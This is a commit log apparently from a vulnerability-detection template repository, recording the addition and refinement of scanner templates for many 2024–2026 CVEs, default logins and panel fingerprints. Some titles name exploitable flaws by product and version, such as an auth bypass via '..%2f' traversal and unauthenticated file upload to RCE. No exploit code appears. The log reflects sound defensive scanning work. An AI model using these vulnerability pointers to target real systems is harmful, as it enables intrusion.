CVE-2024-56064 -   WP SuperBackup <= 2.3.3 - Unauthenticated Arbitrary File Upload to RCE
2026-08-13 17:55:38 +05:30
Aman Rawat 56300fd111 Update CVE-2026-45332.yaml 2026-08-13 17:54:49 +05:30
ghost f1f5fc6f22 chore: generate new addition list 🤖 2026-08-13 12:24:49 +00:00
ghost e66bb14e42 chore: sign templates 🤖 2026-08-13 12:24:05 +00:00
ghost aef04092a5 chore: generate CVEs metadata 🤖 2026-08-13 12:24:01 +00:00
Dhiyaneshwaran e17c656525 Merge pull request #16766 from str4k3r/str4k3r/cve-2026-53519
Add CVE-2026-53519 template
2026-08-13 17:53:39 +05:30
ghost 8cd4beb3f4 chore: generate templates checksum 🤖 2026-08-13 12:17:05 +00:00
ghost d2429db17b chore: sign templates 🤖 2026-08-13 12:14:16 +00:00
Dhiyaneshwaran e1a71be68f Merge pull request #16754 from hiddingtrojans/milvus-healthz-detect
Add milvus-healthz-detect: fingerprint Milvus server via :9091 healthz
2026-08-13 17:43:53 +05:30
Dhiyaneshwaran 1fb51d0132 Update CVE-2026-53519.yaml 2026-08-13 17:42:48 +05:30
Aman Rawat a4b6f6445f Rename CVE-2024-56064.yaml to CVE-2024-56064.yaml 2026-08-13 17:38:12 +05:30
Dhiyaneshwaran ceb3ee4843 CVE-2024-56064 - WP SuperBackup <= 2.3.3 - Unauthenticated Arbitrary File Upload to RCE 2026-08-13 17:34:29 +05:30
Aman Rawat 124d122baa Update CVE-2026-27796.yaml 2026-08-13 17:26:57 +05:30
Aman Rawat cededb8ab9 Update CVE-2026-2614.yaml 2026-08-13 16:54:04 +05:30
Aman Rawat ca8122fcc5 Update CVE-2026-53519.yaml 2026-08-13 16:42:07 +05:30
Aman Rawat 7643879184 Update 2026-08-13 16:32:28 +05:30
Aman Rawat dd7bebc999 Update snmpv3-detect.yaml 2026-08-13 16:11:24 +05:30
ghost 5b4fdc3026 chore: generate templates checksum 🤖 2026-08-13 10:31:10 +00:00
ghost adb33fa692 chore: generate new addition list 🤖 2026-08-13 10:29:08 +00:00
ghost 59da19d7d0 chore: generate CVEs metadata 🤖 2026-08-13 10:28:21 +00:00
ghost 4277dbe8e6 chore: sign templates 🤖 2026-08-13 10:28:19 +00:00
Roberto Nunes 2fd0bb1649 Merge pull request #16873 from projectdiscovery/DhiyaneshGeek-patch-2
Update CVE-2024-13985.yaml tags and regex
2026-08-13 19:27:59 +09:00
Dhiyaneshwaran a0defe8ded CVE-2026-49049 - JoomShaper Helix3 <=3.1.0 - Unauthenticated Arbitrary JSON File Write 2026-08-13 15:41:19 +05:30
ghost f5add6fa08 chore: generate templates checksum 🤖 2026-08-13 10:06:15 +00:00
ghost 196a0a4722 chore: generate new addition list 🤖 2026-08-13 10:04:27 +00:00
ghost 7103dddbdb chore: sign templates 🤖 2026-08-13 10:03:33 +00:00
Dhiyaneshwaran d59ea87e59 Merge pull request #16718 from M818872/add-cve-template
Add Firebase Authentication fingerprint template
2026-08-13 15:33:14 +05:30
Shreyas Malhotra 6ca533cfd9 fix: update max-request counter for CVE-2021-40822 2026-08-13 15:27:32 +05:30
Dhiyaneshwaran 1c9eea6cdb CVE-2026-58644 - Microsoft SharePoint Server - WS-Federation BinaryFormatter Deserialization RCE 2026-08-13 15:20:19 +05:30
ghost bea096723c chore: generate templates checksum 🤖 2026-08-13 09:27:23 +00:00
ghost c947a514bb chore: generate new addition list 🤖 2026-08-13 09:25:34 +00:00
ghost 14726c3f82 chore: generate new addition list 🤖 2026-08-13 09:25:24 +00:00
ghost 92fced0538 chore: generate CVEs metadata 🤖 2026-08-13 09:24:56 +00:00
ghost 0f38d9c7c0 chore: sign templates 🤖 2026-08-13 09:24:50 +00:00
Aman Rawat 9ac4f51b20 Merge pull request #16872 from projectdiscovery/CVE-2026-3395
Create CVE-2026-3395.yaml
2026-08-13 14:54:26 +05:30
Aman Rawat d3f199fe30 Merge pull request #16597 from Aryu-RU/add-cve-2026-58138
Add CVE-2026-58138 - Orkes Conductor 3.21.21-3.30.1 Unauthenticated RCE
2026-08-13 14:54:16 +05:30
ghost fe45adebea chore: generate templates checksum 🤖 2026-08-13 08:40:29 +00:00
github-actions[bot] d888b6cc18 chore: add impact and remediation fields 🤖 2026-08-13 08:38:38 +00:00
ghost ea7fbe1c47 chore: generate new addition list 🤖 2026-08-13 08:38:35 +00:00
ghost 9de13b614b chore: sign templates 🤖 2026-08-13 08:37:54 +00:00
ghost 56de28ea92 chore: generate CVEs metadata 🤖 2026-08-13 08:37:50 +00:00
Aman Rawat b3e7ad07b3 Merge pull request #16813 from Pauullamm/CVE-2026-3001
Add CVE-2026-3001 template
2026-08-13 14:07:30 +05:30
Dhiyaneshwaran d88331cdbb Update CVE-2024-13985.yaml tags and regex 2026-08-13 14:06:42 +05:30
Dhiyaneshwaran 32eb09dd49 Update CVE-2026-3001.yaml 2026-08-13 14:02:02 +05:30
Ritik Chaddha d0236652eb lint fix 2026-08-13 14:00:07 +05:30
Ritik Chaddha a65f651da6 Update CVE-2026-58138.yaml 2026-08-13 13:59:01 +05:30
ritikchaddha fc006aa70a Revert "Update CVE-2026-3395.yaml"
This reverts commit 6ed8a13628.
2026-08-13 13:58:38 +05:30
Aman Rawat 1254ff6542 Update firebase-auth-fingerprint.yaml 2026-08-13 13:58:04 +05:30
Ritik Chaddha 6ed8a13628 Update CVE-2026-3395.yaml 2026-08-13 13:57:18 +05:30
ghost 0fb23991f6 chore: generate templates checksum 🤖 2026-08-13 08:26:10 +00:00
ghost a2a69d1a26 chore: sign templates 🤖 2026-08-13 08:23:38 +00:00
Roberto Nunes 42a5009dfa Merge pull request #16719 from projectdiscovery/fp-flow
Fix false positives in flow templates by marking precondition matchers internal
2026-08-13 17:23:17 +09:00
ghost 57b64a0937 chore: generate templates checksum 🤖 2026-08-13 08:21:56 +00:00
Ritik Chaddha f4a1423e7c Create CVE-2026-3395.yaml 2026-08-13 13:50:50 +05:30
ghost b9d4d100d0 chore: generate new addition list 🤖 2026-08-13 08:20:32 +00:00
ghost 6e1b13aa8c chore: generate new addition list 🤖 2026-08-13 08:20:09 +00:00
ghost a220e81986 chore: generate templates checksum 🤖 2026-08-13 08:20:00 +00:00
ghost 29544ebb68 chore: generate CVEs metadata 🤖 2026-08-13 08:19:48 +00:00
ghost bad6dd9a34 chore: sign templates 🤖 2026-08-13 08:19:47 +00:00
Aman Rawat 8f7bf1d1fb Merge pull request #16804 from str4k3r/str4k3r/cve-2026-50160
Add CVE-2026-50160 template
2026-08-13 13:49:27 +05:30
ghost 8a34ac94ee chore: sign templates 🤖 2026-08-13 08:19:16 +00:00
Aman Rawat b8419802ca Merge pull request #16805 from str4k3r/str4k3r/cve-2026-6826
Add CVE-2026-6826 template
2026-08-13 13:48:57 +05:30
ghost 493a6b742e chore: generate new addition list 🤖 2026-08-13 08:18:22 +00:00
ghost b24ee40d31 chore: sign templates 🤖 2026-08-13 08:17:36 +00:00
ghost 5e9adbb5c0 chore: generate CVEs metadata 🤖 2026-08-13 08:17:33 +00:00
ghost dd7fd83734 chore: generate new addition list 🤖 2026-08-13 08:17:25 +00:00
Aman Rawat 0e14524c39 Merge pull request #16858 from str4k3r/cve-2026-30965-ecosystem-20260812-v2
Add CVE-2026-30965 Parse Server relation redirect session exposure
2026-08-13 13:47:16 +05:30
Aman Rawat 9a6313b578 Update CVE-2026-3001.yaml 2026-08-13 13:46:58 +05:30
ghost 3c9c6f094a chore: sign templates 🤖 2026-08-13 08:16:47 +00:00
ghost 0aa268fa4d chore: generate CVEs metadata 🤖 2026-08-13 08:16:40 +00:00
Aman Rawat 8cb3469da5 Merge pull request #16820 from Boreas37/cve-2026-53629-glpi-sqli
Add CVE-2026-53629 GLPI blind SQLi in history log filter (LogBleed)
2026-08-13 13:46:19 +05:30
ghost e16c6742f8 chore: generate new addition list 🤖 2026-08-13 08:14:44 +00:00
ghost a432e6fd1b chore: generate new addition list 🤖 2026-08-13 08:14:32 +00:00
ghost ec6b45f47d chore: sign templates 🤖 2026-08-13 08:14:01 +00:00
Aman Rawat ee8cbfac00 Merge pull request #16773 from str4k3r/str4k3r/cve-2026-53755
Add CVE-2026-53755 template
2026-08-13 13:43:39 +05:30
Aman Rawat 9fc6939d42 Merge pull request #16860 from str4k3r/cve-2026-34976-ecosystem-20260812-v2
Add CVE-2026-34976 Dgraph restoreTenant authorization bypass
2026-08-13 13:43:22 +05:30
ghost a76099d872 chore: generate templates checksum 🤖 2026-08-13 08:12:13 +00:00
ghost 4906cfd73c chore: generate templates checksum 🤖 2026-08-13 08:10:44 +00:00
github-actions[bot] cf7aadf56f chore: add impact and remediation fields 🤖 2026-08-13 08:10:23 +00:00
ghost f0526354dd chore: generate new addition list 🤖 2026-08-13 08:10:17 +00:00
ghost 53c8996ea5 chore: generate CVEs metadata 🤖 2026-08-13 08:09:39 +00:00
ghost dbd1e02a07 chore: sign templates 🤖 2026-08-13 08:09:35 +00:00
ghost 6f6516a00c chore: generate new addition list 🤖 2026-08-13 08:09:25 +00:00
Aman Rawat 978c612060 Merge pull request #16800 from str4k3r/str4k3r/cve-2026-67208
Add CVE-2026-67208 template
2026-08-13 13:39:07 +05:30
ghost 23f85a388c chore: generate new addition list 🤖 2026-08-13 08:08:56 +00:00
Akokonunes d33e54c1d3 Merge branch 'main' into fp-flow
Resolve conflicts in 4 flow templates. All four conflicted only on the
trailing "# digest:" line, where main's EPSS updater had re-signed the
template while this branch was marking precondition matchers internal.

Resolution: keep this branch's matcher changes, take main's newer
epss-percentile and digest. The digest is regenerated by template-sign.yml
on push to main.

- http/cves/2020/CVE-2020-36836.yaml
- http/cves/2023/CVE-2023-46818.yaml
- http/cves/2023/CVE-2023-6750.yaml
- http/cves/2026/CVE-2026-1492.yaml
2026-08-13 17:08:48 +09:00
ghost 021505b6a1 chore: generate CVEs metadata 🤖 2026-08-13 08:08:36 +00:00
Aman Rawat cf35396ae2 Merge pull request #16781 from str4k3r/str4k3r/cve-53976
Add CVE-2026-53976: OpenChamber <1.13.0 unauthenticated arbitrary file read
2026-08-13 13:38:17 +05:30
ghost cf1ceb822d chore: sign templates 🤖 2026-08-13 08:08:08 +00:00
ghost 5458dcaf1e chore: generate CVEs metadata 🤖 2026-08-13 08:08:04 +00:00
Aman Rawat 1e521e0d82 Merge pull request #16775 from projectdiscovery/CVE-2026-8857
MediaWiki EasyTimeline - Code Injection RCE (CVE-2026-8857)
2026-08-13 13:37:48 +05:30
Aman Rawat 9a3720e4b3 Update CVE-2026-53755.yaml 2026-08-13 13:37:09 +05:30
ghost 9d5e28d610 chore: generate templates checksum 🤖 2026-08-13 07:53:21 +00:00
ghost 496aa3e5df chore: sign templates 🤖 2026-08-13 07:50:38 +00:00
Roberto Nunes 16e4f95d5d Merge pull request #16752 from andrew207/fix/wordpress-eol-version-regex
fix(wordpress-eol): reduce false positives from generic version regex
2026-08-13 16:50:14 +09:00
Roberto Nunes e9ebb88c84 Update wordpress-eol.yaml 2026-08-13 16:29:44 +09:00
ghost 8148af0145 chore: generate templates checksum 🤖 2026-08-13 07:17:18 +00:00
ghost 40b8eb06ab chore: generate new addition list 🤖 2026-08-13 07:16:22 +00:00
ghost 2402ef647c chore: sign templates 🤖 2026-08-13 07:15:27 +00:00
Roberto Nunes 64cf9cd51d Merge pull request #16734 from shadowhunter-92/add-claude-code-agents-detector
Add Claude Code subagent (.claude/agents/*.md) exposure detector
2026-08-13 16:15:06 +09:00
ghost bb2c85cdd0 chore: sign templates 🤖 2026-08-13 07:14:41 +00:00
Roberto Nunes b69eb06e4a Merge pull request #16870 from owlsight203/patch-3
fix(false-positive): CVE-2025-29927 add negative matchers for WAF block responses
2026-08-13 16:14:20 +09:00
Dhiyaneshwaran edc3dd66a4 Update claude-code-agents.yaml 2026-08-13 12:25:06 +05:30
Dhiyaneshwaran d63b37ae28 Update CVE-2026-53629.yaml 2026-08-13 12:22:52 +05:30
Dhiyaneshwaran dbb4603940 Update and rename claude-code-agents-exposure.yaml to claude-code-agents.yaml 2026-08-13 12:21:52 +05:30
Dhiyaneshwaran f8cdc29370 Refactor CVE-2026-53629.yaml for clarity and testing
Updated the CVE description for clarity and added matchers for SQL injection testing.
2026-08-13 12:14:05 +05:30
ghost 8d6a776f9d chore: generate templates checksum 🤖 2026-08-13 06:23:48 +00:00
ghost 15edce0cbb chore: generate new addition list 🤖 2026-08-13 06:21:57 +00:00
ghost a94f9ee365 chore: sign templates 🤖 2026-08-13 06:21:07 +00:00
ghost 9a7d520098 chore: generate CVEs metadata 🤖 2026-08-13 06:20:59 +00:00
Roberto Nunes 2d60580afb Merge pull request #16812 from Pauullamm/CVE-2025-13528
CVE 2025 13528
2026-08-13 15:20:40 +09:00
ghost 9ea3810466 chore: generate templates checksum 🤖 2026-08-13 06:19:26 +00:00
ghost 15402be00e chore: generate new addition list 🤖 2026-08-13 06:18:25 +00:00
ghost 8d103a93ad chore: sign templates 🤖 2026-08-13 06:17:38 +00:00
ghost 8b5bda7c26 chore: generate new addition list 🤖 2026-08-13 06:17:20 +00:00
Roberto Nunes 0159d86ec8 Merge pull request #16814 from ashish-cybersec/add-miniflux-panel
Add Miniflux login panel detection template
2026-08-13 15:17:18 +09:00
Dhiyaneshwaran 7d8164d021 Simplify matchers by combining conditions 2026-08-13 11:47:01 +05:30
ghost b2e2a5404d chore: sign templates 🤖 2026-08-13 06:16:36 +00:00
Roberto Nunes 29f6cd8c96 Merge pull request #16816 from ashish-cybersec/add-CVE-2026-59774
Add CVE-2026-59774 - Gitea Unauthenticated Arbitrary File Read
2026-08-13 15:16:13 +09:00
Dhiyaneshwaran 4f5ff6f645 Update CVE-2025-29927.yaml 2026-08-13 11:45:00 +05:30
ghost 8eebd80302 chore: generate templates checksum 🤖 2026-08-13 06:14:16 +00:00
ghost f1a6132a02 chore: generate new addition list 🤖 2026-08-13 06:12:10 +00:00
ghost 3aa6b6936f chore: sign templates 🤖 2026-08-13 06:11:28 +00:00
ghost 025e199b38 chore: generate CVEs metadata 🤖 2026-08-13 06:11:20 +00:00
Dhiyaneshwaran 83d3760d1d Merge pull request #16856 from str4k3r/cve-2026-15733-ecosystem-20260812-v2
Add CVE-2026-15733 WGDashboard authenticated command injection
2026-08-13 11:40:58 +05:30
Dhiyaneshwaran 191f39d52b Update and rename miniflux-login-panel.yaml to miniflux-panel.yaml 2026-08-13 10:28:45 +05:30
Dhiyaneshwaran eba836d7bd Update CVE-2026-59774.yaml 2026-08-13 10:26:17 +05:30
Dhiyaneshwaran ccd6f9b341 Update matchers in CVE-2025-29927.yaml 2026-08-13 10:16:42 +05:30
Dhiyaneshwaran 3aca0fdefe Update CVE-2025-29927.yaml 2026-08-13 10:11:18 +05:30
ghost c88f6d1d38 chore: generate templates checksum 🤖 2026-08-13 04:37:35 +00:00
Dhiyaneshwaran 634bc733e6 Update CVE-2026-3001.yaml 2026-08-13 10:07:25 +05:30
github-actions[bot] 6ce5893e6f chore: add impact and remediation fields 🤖 2026-08-13 04:35:29 +00:00
ghost a5232bf367 chore: generate new addition list 🤖 2026-08-13 04:35:13 +00:00
ghost b114f44fbf chore: sign templates 🤖 2026-08-13 04:34:35 +00:00
ghost f521042bec chore: generate CVEs metadata 🤖 2026-08-13 04:34:30 +00:00
Roberto Nunes 18e077f8db Merge pull request #16777 from str4k3r/str4k3r/cve-2026-9506
Add CVE-2026-9506: Bagisto <= 2.4.1 unauthenticated ImageCache path traversal (arbitrary file read)
2026-08-13 13:34:13 +09:00
Dhiyaneshwaran 77125c9cf1 Revise CVE-2025-13528 details and remediation
Updated the description and impact of CVE-2025-13528 to clarify the vulnerability details and remediation steps.
2026-08-13 10:02:01 +05:30
Dhiyaneshwaran 10f1596f49 Update CVE-2026-6826.yaml 2026-08-13 09:53:14 +05:30
Dhiyaneshwaran 37bc2f842b Modify CVE-2026-67208.yaml for request limit and flow
Updated max-request to 2 and added new flow checks.
2026-08-13 09:50:40 +05:30
Dhiyaneshwaran b02c16901d Revise CVE-2026-53976 details and remediation
Updated the description of CVE-2026-53976 to clarify the vulnerability details and impact. Added remediation steps and modified tags.
2026-08-13 09:35:04 +05:30
Dhiyaneshwaran 7d11248bc3 Update max-request and add detection flow 2026-08-13 09:26:19 +05:30
ghost c259d7f8ae chore: update KEV and vKEV tags and metadata 🤖 2026-08-13 03:47:48 +00:00
Roberto Nunes a2f9793638 Update CVE-2026-30965.yaml 2026-08-13 12:38:03 +09:00
Dhiyaneshwaran 1e312f49ce Update CVE-2026-65919.yaml 2026-08-13 08:59:11 +05:30
Dhiyaneshwaran 623d71c402 Update CVE-2026-9506 details and remediation 2026-08-13 08:53:33 +05:30
Dhiyaneshwaran 025c671bae Update CVE-2026-40280.yaml 2026-08-13 08:44:59 +05:30
Dhiyaneshwaran 82f28f2cfe Revise CVE-2026-40280 information and HTTP request
Updated CVE-2026-40280 details including name, description, impact, and remediation. Adjusted HTTP request examples and matcher conditions.
2026-08-13 08:38:46 +05:30
ghost 1bfc6e3fcb chore: update EPSS scores 🤖 2026-08-13 02:51:57 +00:00
ghost 4f7b5a6851 chore: generate templates checksum 🤖 2026-08-13 02:12:56 +00:00
ghost 78840ee15b chore: generate new addition list 🤖 2026-08-13 02:11:13 +00:00
ghost 1ca68a1e35 chore: sign templates 🤖 2026-08-13 02:10:25 +00:00
Dhiyaneshwaran 62e6110153 Merge pull request #16866 from Mapioe/3x-ui_template
3x UI template
2026-08-13 07:40:03 +05:30
Roberto Nunes 7576ec6035 Update CVE-2026-10768.yaml 2026-08-13 10:11:12 +09:00
Roberto Nunes 9643f59e09 Revise CVE-2026-15733 details and matchers
Updated CVE-2026-15733 details, including name, authors, and remediation steps. Adjusted request parameters and matchers for improved accuracy.
2026-08-13 09:11:04 +09:00
owlsight203 cac4189343 fix(false-positive): CVE-2025-29927 add negative matchers for rejected requests 2026-08-12 21:08:06 +07:00
Roberto Nunes 3756b68da7 Update 3xui-default-login.yaml 2026-08-12 19:43:12 +09:00
Adel Bouachraoui a4a188684f CVE-2024-57726 — add detection template 2026-08-12 09:59:23 +02:00
ghost 872ba5908e chore: generate CVEs metadata 🤖 2026-08-12 06:30:27 +00:00
ghost 8a82f4d23e chore: generate templates checksum 🤖 2026-08-12 06:09:16 +00:00
ghost 5b856c2945 chore: generate new addition list 🤖 2026-08-12 06:07:13 +00:00
ghost 7a37312795 chore: sign templates 🤖 2026-08-12 06:06:22 +00:00
Dhiyaneshwaran a346ec2847 Merge pull request #16811 from projectdiscovery/Akokonunes-patch-7
Add Metabase SQLi - Unauthenticated Reset Password
2026-08-12 07:06:01 +01:00
Dhiyaneshwaran b7884a4846 Update CVE-2026-72898.yaml 2026-08-12 11:17:38 +05:30
Dhiyaneshwaran 623176c90e Update CVE-2026-72898 details and tags 2026-08-12 11:15:46 +05:30
Akokonunes 22a3e7cdf2 Move Metabase reset_password SQLi to cves/2026
The template id is CVE-2026-72898, so it belongs under http/cves/2026/
with the filename matching the id.
2026-08-12 12:46:36 +09:00
ghost 119017b7f9 chore: update KEV and vKEV tags and metadata 🤖 2026-08-12 03:45:30 +00:00
Roberto Nunes 5b35759af8 Update metabase-honeysqli-reset-password.yaml 2026-08-12 12:44:10 +09:00
Roberto Nunes 2de087dbf0 Refine default login YAML for 3X-UI
Updated the description to specify default credentials and their implications. Adjusted various fields for consistency and clarity.
2026-08-12 12:39:27 +09:00
ghost e74f4620d2 chore: update EPSS scores 🤖 2026-08-12 02:50:23 +00:00
Roberto Nunes bc9611db45 Fix missing authorization for restoreTenant mutation
Dgraph <=v25.3.0 contains an authentication bypass caused by missing authorization middleware for the restoreTenant admin mutation, allowing unauthenticated attackers to overwrite the database, read files, and perform SSRF. Update to version 25.3.1 or later to remediate this vulnerability.
2026-08-12 10:34:10 +09:00
Roberto Nunes 425e2b85b2 Update CVE-2026-53755.yaml 2026-08-12 10:13:46 +09:00
str4k3r 6d17e82963 Add CVE-2026-14483 WPL WordPress unauthenticated file upload 2026-08-12 00:45:10 +03:00
str4k3r 324796e44f Add CVE-2026-34976 Dgraph restoreTenant authorization bypass 2026-08-12 00:42:10 +03:00
str4k3r 28649d2ccc Add CVE-2026-30965 Parse Server relation redirect session exposure 2026-08-12 00:42:01 +03:00
str4k3r 542a56d410 Add CVE-2026-15733 WGDashboard authenticated command injection 2026-08-12 00:41:49 +03:00
str4k3r 804a9b3650 Add CVE-2026-12394 MemberGlut WordPress role injection 2026-08-12 00:41:20 +03:00
str4k3r 20cf7612f7 Add CVE-2026-11387 SMS Alert WordPress password-reset bypass 2026-08-12 00:41:04 +03:00
str4k3r cf3cafde66 Add CVE-2026-1115 lollms authenticated stored XSS 2026-08-12 00:40:58 +03:00
str4k3r da3d01ada1 Add CVE-2026-10768 Drupal LocalGov Workflows content disclosure 2026-08-12 00:40:53 +03:00
Mapioe 91650ca09b fix: typo 2026-08-12 02:07:38 +05:00
Mapioe 50b5ae8920 Added 3xui Template 2026-08-12 01:54:03 +05:00
Bryce Florek dc551b090b ccm-detect: raise severity info -> low
The template confirms a live, auth-gated Clear-Com Core Configuration
Manager panel (broadcast intercom system admin interface) reachable
unauthenticated, via an AND-matched "CCM - Authentication Failure" string
plus HTTP 401 -- not just software presence, but a live, internet-reachable
admin interface for production intercom hardware. Clear-Com's own
documentation describes CCM as a local-network configuration tool
accessed by IP; their only documented "remote access" pattern forwards
intercom client audio/data ports (Agent-IC/Station-IC), never the CCM web
admin interface itself. Unlike panel-detection templates for products with
a legitimate public-facing deployment pattern (e.g. SaaS offerings, VPN
portals, webmail), no vendor-supported reason exists for this panel to be
internet-reachable, making its exposure itself the signal rather than mere
software presence. Updated the stale cvss-metrics field (C:N -> C:L,
added cvss-score 3.7) to stay consistent with the new severity, matching
the pattern used for web-config in this same series.
2026-08-11 13:50:40 -07:00
ghost 166dcb625c chore: generate templates checksum 🤖 2026-08-11 08:37:21 +00:00
ghost d99c09ed39 chore: generate new addition list 🤖 2026-08-11 08:35:22 +00:00
ghost 12e7b40f4b chore: sign templates 🤖 2026-08-11 08:34:43 +00:00
ghost b4d45b401a chore: generate CVEs metadata 🤖 2026-08-11 08:34:37 +00:00
Ritik Chaddha c779fcf69d Merge pull request #16749 from 1dayexploit/cve-2026-69251
Add CVE-2026-69251 - Flowise - Authenticated RCE via Unsanitized TypeORM DataSource Options
2026-08-11 14:04:14 +05:30
ghost 26d8e949e9 chore: generate templates checksum 🤖 2026-08-11 07:30:54 +00:00
ghost 0913cd38ca chore: generate new addition list 🤖 2026-08-11 07:29:11 +00:00
ghost 2c78b87825 chore: sign templates 🤖 2026-08-11 07:28:29 +00:00
ghost c50e993d52 chore: generate CVEs metadata 🤖 2026-08-11 07:28:26 +00:00
Dhiyaneshwaran c9d799c7ea Merge pull request #16769 from str4k3r/str4k3r/cve-2026-42461
Add CVE-2026-42461 template
2026-08-11 00:28:06 -07:00
Dhiyaneshwaran eb2f40498f Update CVE-2026-42461.yaml 2026-08-11 00:20:44 -07:00
ghost 68e9ea4e26 chore: generate templates checksum 🤖 2026-08-11 07:11:28 +00:00
ghost c1013ac1f8 chore: generate new addition list 🤖 2026-08-11 07:09:47 +00:00
ghost 5aeeb2be25 chore: sign templates 🤖 2026-08-11 07:09:02 +00:00
Dhiyaneshwaran 835abce402 Merge pull request #16792 from Th3l0newolf/NetVision
Add Net Vision UPS Default Credentials
2026-08-11 00:08:42 -07:00
Dhiyaneshwaran 44850a21c8 Update and rename http/default-logins/net-vision-default-login.yaml to http/default-logins/net-vision/net-vision-default-login.yaml 2026-08-10 23:43:33 -07:00
ghost 66a4a62554 chore: generate templates checksum 🤖 2026-08-11 06:13:26 +00:00
ghost 8adff9cecf chore: generate new addition list 🤖 2026-08-11 06:11:31 +00:00
ghost e5800337aa chore: generate CVEs metadata 🤖 2026-08-11 06:10:52 +00:00
ghost 6d21c78e1b chore: sign templates 🤖 2026-08-11 06:10:47 +00:00
Dhiyaneshwaran 76aa1dac13 Merge pull request #16772 from str4k3r/str4k3r/cve-2026-71209
CVE-2026-71209 - Audiobookshelf Authentication Bypass
2026-08-10 23:10:23 -07:00
ghost e5569756aa chore: update KEV and vKEV tags and metadata 🤖 2026-08-11 03:34:01 +00:00
Roberto Nunes fa9927bd4c Enhance CVE-2026-42461 description and metadata
Updated CVE-2026-42461 entry to reflect additional information disclosure and remediation details.
2026-08-11 12:01:01 +09:00
ghost c182d7d9fc chore: update EPSS scores 🤖 2026-08-11 02:40:44 +00:00
Roberto Nunes 8d27003bbf Revise CVE-2026-71209 information and update tags
Updated CVE-2026-71209 details including name, description, impact, remediation, and tags.
2026-08-11 10:06:35 +09:00
Roberto Nunes 6d09f4131b Update CVE-2026-50160.yaml 2026-08-11 09:49:59 +09:00
Boreas37 5d4e558a17 Add CVE-2026-53629 GLPI blind SQLi in history log filter (LogBleed) — verified time-based on 10.0.25, rejected on 10.0.26 2026-08-10 23:04:47 +03:00
Dominique RIGHETTO 810576b76d Fix YAML formatting for OpenShift monitoring plugin 2026-08-10 20:05:42 +02:00
Dominique RIGHETTO 2de37f64c9 Add files via upload 2026-08-10 19:57:26 +02:00
ghost e56a787620 chore: generate templates checksum 🤖 2026-08-10 16:37:54 +00:00
ghost b6142953d5 chore: sign templates 🤖 2026-08-10 16:35:07 +00:00
Aman Rawat f06f946cbd Merge pull request #16666 from DPS0340/fix/regex-in-word-matchers
fix: three CVE templates put regexes in word matchers, so they never fire
2026-08-10 09:34:45 -07:00
Aman Rawat b519c9b035 Merge pull request #16741 from diedromeo/fix/cve-2025-14847-mongodb-8x-detection
Fix CVE-2025-14847: detect vulnerable MongoDB 8.0.x (buildinfo read-size truncation)
2026-08-10 09:34:21 -07:00
Aman Rawat 2f4adb5c9d Merge pull request #16748 from p-l-/fix-CVE-2021-24139
fix(CVE-2021-24139): both conditions must match
2026-08-10 09:34:13 -07:00
ghost 71c42ec0a7 chore: generate templates checksum 🤖 2026-08-10 16:33:59 +00:00
ghost c32bc71859 chore: sign templates 🤖 2026-08-10 16:31:42 +00:00
ghost 63f95cb773 chore: generate CVEs metadata 🤖 2026-08-10 16:31:34 +00:00
Aman Rawat a36f9262dc Merge pull request #16670 from DPS0340/fix/cve-2024-0200-intermediate-matchers
fix(CVE-2024-0200): mark the setup-stage matchers internal
2026-08-10 09:31:11 -07:00
ghost ce371f46dc chore: generate new addition list 🤖 2026-08-10 16:30:36 +00:00
ghost fad7fb1da6 chore: generate CVEs metadata 🤖 2026-08-10 16:29:30 +00:00
Aman Rawat 85b952e14e Merge pull request #16809 from Boreas37/cve-2026-34908-unifi-auth-bypass
Add CVE-2026-34908 UniFi OS auth bypass via ..%2f traversal (KEV, verified)
2026-08-10 09:29:04 -07:00
Aman Rawat 6ae267c1ca Fix lint 2026-08-10 09:27:37 -07:00
Aman Rawat 0757b36f1e Merge branch 'main' into fix/cve-2024-0200-intermediate-matchers 2026-08-10 09:25:46 -07:00
Aman Rawat e65c4dbee4 Update CVE-2024-0200.yaml 2026-08-10 09:25:14 -07:00
ghost 8167810c0e chore: generate templates checksum 🤖 2026-08-10 16:21:37 +00:00
Aman Rawat f91c99658f Update CVE-2024-0200.yaml 2026-08-10 09:20:39 -07:00
Aman Rawat f1fdc74796 Update CVE-2024-0200.yaml 2026-08-10 09:19:50 -07:00
ghost 3bec5211f3 chore: sign templates 🤖 2026-08-10 16:19:40 +00:00
Aman Rawat 0fecf1d7fa Merge pull request #16709 from coffee0127/fix/cve-2023-37629-filename-quote
fix(cve-2023-37629): close filename quote before the .php extension
2026-08-10 09:19:18 -07:00
Aman Rawat 810695cf2e Merge branch 'main' into fix/cve-2025-14847-mongodb-8x-detection 2026-08-10 09:18:59 -07:00
Aman Rawat 457741643f Update CVE-2021-24139.yaml 2026-08-10 09:18:34 -07:00
ghost 046be11e86 chore: sign templates 🤖 2026-08-10 16:17:46 +00:00
Aman Rawat b808bbe0a7 Merge pull request #16663 from DPS0340/fix/regex-extractor-missing-capture-group
fix: add the missing capture group to four regex extractors
2026-08-10 09:17:17 -07:00
ye11oc4t 0a4c64b528 Add CVE-2026-9133 template 2026-08-11 00:36:40 +09:00
Ritik Chaddha a7624dacc2 Update CVE-2026-69251.yaml 2026-08-10 18:03:27 +05:30
Roberto Nunes 25db9dccc3 Refactor flow and matchers in CVE-2026-69251.yaml 2026-08-10 21:27:39 +09:00
Roberto Nunes 8037973e70 Modify CVE-2026-69251.yaml for flow and request changes
Updated flow logic and request method in CVE-2026-69251.yaml. Adjusted tags and matchers for improved specificity.
2026-08-10 21:24:28 +09:00
Roberto Nunes c8c1220b37 Update CVE-2026-69251.yaml 2026-08-10 20:42:39 +09:00
Ashish Pulivarthy 968416a84f Add CVE-2026-59774 - Gitea unauthenticated arbitrary file read 2026-08-10 17:01:54 +05:30
Boreas37 7ab8a1eb55 Add CVE-2026-69084 SiYuan searchEmbedBlock arbitrary SQL execution (CVSS 9.9) 2026-08-10 12:59:56 +03:00
Ashish Pulivarthy d4368e5270 Add Miniflux login panel detection template 2026-08-10 13:50:37 +05:30
Paul Lam ef7cc32c85 Add CVE-2026-3001 template 2026-08-10 07:50:19 +01:00
Paul Lam 057c7f5709 Moved to correct year folder (2025) 2026-08-10 07:32:16 +01:00
Paul Lam 5599492891 Added CVE-2025-13528 Template 2026-08-10 07:25:11 +01:00
Roberto Nunes 1db19c9888 Update CVE-2026-25231.yaml 2026-08-10 14:02:27 +09:00
Roberto Nunes 4301420e50 Update CVE-2026-25231.yaml 2026-08-10 13:57:31 +09:00
ghost 479c6e9694 chore: update KEV and vKEV tags and metadata 🤖 2026-08-10 03:36:11 +00:00
Roberto Nunes 509633a679 Revise CVE-2026-34908 details and CVSS score
Updated the CVE-2026-34908 entry with improved descriptions, remediation steps, and CVSS metrics.
